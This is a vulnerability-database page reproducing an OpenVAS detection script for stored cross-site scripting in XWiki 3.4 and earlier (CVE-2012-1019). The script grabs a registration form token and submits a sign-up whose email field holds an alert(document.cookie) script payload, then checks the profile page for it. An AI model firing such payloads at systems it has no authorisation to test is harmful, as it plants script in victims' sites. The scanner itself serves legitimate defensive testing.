XWiki <= 3.4 Multiple Stored XSS Vulnerabilities - Active Check
🗓️ 09 Mar 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType
openvas🔗 plugins.openvas.org👁 35 Views
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2012-1019 | 8 Feb 201200:00 | – | cve | |
| CVE-2012-1019 | 8 Feb 201200:00 | – | cvelist | |
| EUVD-2012-1057 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-1019 | 8 Feb 201200:55 | – | nvd | |
| XWiki Enterprise Multiple Cross-Site Scripting Vulnerabilities | 9 Mar 201200:00 | – | openvas | |
| Cross site scripting | 8 Feb 201200:55 | – | prion | |
| CVE-2012-1019 | 22 May 202502:43 | – | redhatcve |
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:xwiki:xwiki";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802397");
script_version("2025-11-19T05:40:23+0000");
script_cve_id("CVE-2012-1019");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_tag(name:"last_modification", value:"2025-11-19 05:40:23 +0000 (Wed, 19 Nov 2025)");
script_tag(name:"creation_date", value:"2012-03-09 11:12:00 +0530 (Fri, 09 Mar 2012)");
script_name("XWiki <= 3.4 Multiple Stored XSS Vulnerabilities - Active Check");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_category(ACT_DESTRUCTIVE_ATTACK); # nb: Stored XSS
script_family("Web application abuses");
script_dependencies("gb_xwiki_http_detect.nasl");
script_require_ports("Services/www", 443);
script_mandatory_keys("xwiki/http/detected");
script_xref(name:"URL", value:"https://st2tea.blogspot.com/2012/02/xwiki-cross-site-scripting.html");
script_xref(name:"URL", value:"https://exchange.xforce.ibmcloud.com/vulnerabilities/73010");
script_xref(name:"URL", value:"https://packetstorm.news/files/id/109447");
script_xref(name:"URL", value:"https://web.archive.org/web/20140804192224/http://secunia.com/advisories/47885");
script_xref(name:"URL", value:"https://web.archive.org/web/20210124053529/http://www.securityfocus.com/bid/51867");
script_tag(name:"summary", value:"XWiki is prone to multiple stored cross-site scripting (XSS)
vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"insight", value:"The flaws are due to an improper validation of user-supplied
input via:
- the 'XWiki.XWikiComments_comment' parameter to 'xwiki/bin/commentadd/Main/WebHome' when posting
a comment
- the 'XWiki.XWikiUsers_0_company' parameter when editing a user's profile
- the 'projectVersion' parameter to 'xwiki/bin/view/DownloadCode/DownloadFeedback' when
downloading a file");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to insert
arbitrary HTML and script code, which will be executed in a user's browser session in the context
of an affected site.");
script_tag(name:"affected", value:"XWiki version 3.4 and prior.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
useragent = http_get_user_agent();
host = http_host_name(port:port);
url = dir + "/bin/register/XWiki/Register";
req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);
tokenValue = eregmatch(pattern:'name="form_token" value="([a-zA-Z0-9]+)"', string:res);
if(!tokenValue || !tokenValue[1])
exit(0);
postdata = "form_token=" + tokenValue[1] + "®ister_first_name=ppp&" +
"register_last_name=ppp&xwikiname=PppPpp®ister_password=example&" +
"register2_password=example®ister_email=<script>alert(document." +
"cookie)</script>@example.com&template=XWiki.XWikiUserTemplate&" +
"xredirect=";
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"User-Agent: ", useragent, "\r\n",
"Referer: http://", host, url, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n", postdata);
res = http_keepalive_send_recv(port:port, data:req);
if(res) {
url = dir + "/bin/view/XWiki/PppPpp";
if(http_vuln_check(port:port, url:url, check_header: TRUE,
pattern:"<script>alert\(document\.cookie\)</script>")) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Nov 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 24.3
EPSS0.01194